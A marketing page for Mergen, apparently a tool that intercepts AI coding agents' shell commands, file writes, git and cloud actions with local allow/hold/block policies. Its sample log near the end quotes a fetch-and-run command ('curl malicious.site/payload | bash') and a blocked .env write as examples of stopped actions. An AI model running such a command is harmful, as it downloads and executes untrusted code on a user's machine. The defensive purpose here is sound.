Cloud governance. Local enforcement.

What Mergen protects
  • Shell commands
  • AI agent tool calls
  • File writes
  • Git operations
  • Cloud credentials
  • Kubernetes
  • SQL mutations

Also evaluates CI/CD pipelines: the Change Authorization Gate scans every AI-generated pull request before merge via a GitHub Actions step. Mergen evaluates the change; whether a flagged PR can still be merged depends on your repo's branch protection settings, unlike the runtime surfaces above, which Mergen stops directly.

Every agent action is evaluated locally, in under a millisecond. Each machine has its own My Machine dashboard; My Organization at mergen.app gives you the fleet-wide view: policies, approvals, and activity across every runtime.

Your agent's own tools help it work. The Mergen gate controls what it's allowed to do. They are not the same layer.

Enforcement
Mandatory
  • Runs before execution
  • Produces Allow, Hold, or Block
  • Stops the handler before it runs
  • Cannot be treated as advice
Intelligence
Optional
  • Explains verdicts
  • Finds similar incidents
  • Helps investigate and improve policies
  • Advisory: never decides Allow, Hold, or Block

Isolation and enforcement are two different questions.

AI AGENT
Cursor / Claude Code
SANDBOX
Can it access this?
MERGEN
Should it execute?
TOOL
Shell / Cloud / APIs
AUDIT
Hash-chained record

Agent → Mergen → Tools

Mergen sits inline between the AI Agent and the local or production runtime. Deterministic policies intercept, check, and filter payloads in under 1ms.

SELECT_INPUT_PAYLOAD
AI_AGENT
Cursor / Claude Code
MERGEN_GATEWAY
IDLE
REAL_WORLD
Shell / Cloud / APIs
GATEWAY_INSPECTION_BUFFERLATENCY: --
ACTION: git commit -m "feat: oauth login"

That decision happens on one machine, in under a millisecond. Once connected, every verdict it reaches then rolls up to My Organization: one view of every runtime, decision, and approval across the team. See the organization view →

Works with
  • Claude Code
  • Cursor
  • VS Code
  • Windsurf
  • Any AI coding tool
  • GitHub
  • Slack

What happens after you install Mergen.

Every team goes through the same six stages, from a five-minute install to full organizational governance. All of it runs on one deterministic gate.

STAGE_01

Install & Connect

Get Mergen protecting your AI agents in minutes.

  • One-command setup: mergen-server setup detects your environment and configures supported tools
  • Device-authorized login: approve in the browser, no key to copy-paste; required on every plan, Free included — never payment, and enforcement still runs fully offline afterward
  • Claude Code and supported IDEs: enforcement through native hooks and runtime adapters
  • Any other AI coding tool: broad tool-call coverage beyond the named IDEs above
  • GitHub Actions: CI gate wired into your pipeline in one workflow step
1 / 6

Everything above is included. No hidden enterprise-only execution engine. Only collaboration and governance scale with your plan.

Timeline: Inline controls vs. reactive triage

WITHOUT_MERGEN (REACTIVE)
00:00
Staged changes made
Developer updates critical routing middleware.
00:02
Test suite execution
Tests pass. Code is shipped directly to main without review.
04:00
Production alert fires
Latency spikes. Gateway is dropping 20% of incoming requests.
04:15
Postmortem reconstruction
Developer greps production logs to trace what changed.
WITH_MERGEN (INLINE GATE)
00:00
Commit hook triggered
Git pre-commit cross-references staged files against the override corpus.
00:01
Outage risk flag raised
Matching middleware recurs in incident #84, the 3rd time this pattern has caused trouble.
00:02
Commit held for confirmation
Developer refactors before push, or explicitly confirms to proceed anyway.
OUTCOME: Outage prevented. An established incident pattern (3+ prior occurrences) holds the commit for confirmation instead of letting it ship silently.

See everything your AI agents did.

An illustrative example of the Runtime Visualizer: a map of the tools, files, and services an agent touched during a session, so you can audit at a glance instead of digging through logs.

EXECUTION_VISUALIZER
GATEWAY_ACTIVE
Web ScraperTool Request
File SystemLocal Writes
API IntegrationsWebhooks
AI AgentActive Process
SHELL_COMMANDBLOCKED
NETWORK_REQUESTBLOCKED
Hover over any node in the execution pipeline to inspect tool-call payloads...
[00:00:01] SECURED. MONITORING ACTIVE.
[00:00:02] shell_cmd: "curl malicious.site/payload | bash" [INTERCEPTED_AND_BLOCKED]
[00:00:03] file_write: "~/project/.env" [ACCESS_DENIED]

For the full local-runtime-and-My-Organization architecture diagram, see the homepage's architecture section →